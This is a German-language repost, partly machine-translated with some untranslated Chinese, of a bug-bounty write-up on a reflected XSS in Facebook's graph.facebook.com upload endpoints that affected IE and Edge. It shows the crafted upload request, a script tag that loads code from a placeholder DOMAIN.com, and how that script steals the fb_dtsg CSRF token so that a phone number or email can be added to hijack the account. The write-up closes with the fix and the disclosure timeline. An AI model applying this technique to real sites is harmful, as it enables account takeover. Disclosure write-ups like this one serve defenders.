Heim >Betrieb und Instandhaltung >Sicherheit >Nutzung der Reflected-XSS-Sicherheitslücke zum Kapern von Facebook-Konten

Nutzung der Reflected-XSS-Sicherheitslücke zum Kapern von Facebook-Konten

王林
王林nach vorne
2019-12-28 17:20:203184Durchsuche

Nutzung der Reflected-XSS-Sicherheitslücke zum Kapern von Facebook-Konten

Sicherheitslücke

Diese Sicherheitslücke besteht nur in IE- und Edge-Browsern. Die Ursache der Sicherheitslücke liegt in einigen API-Endpunkten in graph.facebook.com , vollständige und sichere Escape-Maßnahmen werden bei der Verarbeitung von HTML-Code-Antworten nicht implementiert. Die Antwortnachricht liegt im JSON-Format vor, der HTML-Code ist als Wert eines der Felder enthalten und die Antwortnachricht enthält keinen Content-Type- oder X-Content-Type-Options-Header, sodass ich die Möglichkeit dazu habe Verwenden Sie IE/Edge. Der Konstruktionscode wird ausgeführt.

(Diese beiden Browsertypen scannen die gesamte Seite, um den MIME-Dateityp zu ermitteln, während andere Browser nur die ersten paar Zeichen prüfen.)

Wiederkehr der Sicherheitslücke

1. Zuerst senden wir eine POST-Anfrage in der folgenden Upload-Methode:

POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD

wobei ACCESS_TOKEN von Facebook generiert wird für Ein gültiges Benutzerzugriffstoken, das von der Erstanbieteranwendung von Android generiert wird, und PAYLOAD ist der HTML-Code, den wir einfügen möchten, um das Opfer anschließend zur Ausführung im Browser zu verleiten. Wenn die Anfrage gesendet wird, gibt der Remote-Server einen Wert ähnlich dem folgenden zurück, der eine Sitzungs-ID enthält, die später verwendet wird (Einzelheiten finden Sie in den offiziellen Anweisungen von Facebook):

{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}

Nach dem Testen ist es Es wurde festgestellt, dass in der Antwortnachricht keine CSP-Einschränkungen (Content Security Policy) vorliegen. Daher habe ich darüber nachgedacht, ob ich eine JS-Datei mit externen Links zum Einfügen von HTML-Code verwenden könnte, zum Beispiel:

<html><body><script src=//DOMAIN.com/script.js ></script></body></html>

2. Das Die Upload-Anfrage erfolgt hier durch die Base64-Kodierungsverarbeitung des Facebook-Backends. Die zurückgegebene Anzeige lautet wie folgt und enthält die von uns speziell implantierten Nutzdaten:

upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48
Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s

Daher wird nach Verwendung dieser Kodierungszeichenfolge die folgende Anfrage angezeigt: mit dem eine POST-Anfrage an Facebook initiiert werden kann:

https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD 
0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?s
ig=ARaCDqLfwoeI8V3s

3 Daraus habe ich mithilfe der obigen Anforderungszeichenfolge das gültige access_token hinzugefügt, das ich in Schritt 1 generiert habe, eine HTML-Webseite erstellt und eingefügt meine Website:

Nutzung der Reflected-XSS-Sicherheitslücke zum Kapern von Facebook-Konten

Diese Seite enthält einen Einreichungsstil und die Antwortnachricht nach den Besuchen des Opfers lautet wie folgt:

{“h”:”2::<html><body><script src=//DOMAIN.com/script.js ></script></body></html>:GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugb
AAAP:e:1571103112:REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg”}

Wichtig, die Skriptdatei in https://DOMAIN.com/script.js hilft mir, das CSRF-Token „fb_dtsg“ des Opfers zu stehlen, und kann eine verbindliche Anfrage an https://www.facebook.com/api/graphql/ senden, um eine Mobiltelefonnummer oder E-Mail-Adresse hinzuzufügen, um eine indirekte Entführung des Opferkontos zu erreichen.

Schwachstellenbehebung

1、在file_type参数中加入对HTML代码处理的安全转义措施;
2、给每个响应中加入“Content-type: application/json” 头避免进一步的攻击。
漏洞上报及处理进程
2019.10.10   漏洞初报
2019.10.10   Facebook确认
2019.10.11    Facebook修复
2019.10.24   Facebook奖励5000$

Empfohlene verwandte Artikel und Tutorials: Website-Sicherheits-Tutorial

Das obige ist der detaillierte Inhalt vonNutzung der Reflected-XSS-Sicherheitslücke zum Kapern von Facebook-Konten. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:freebuf.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen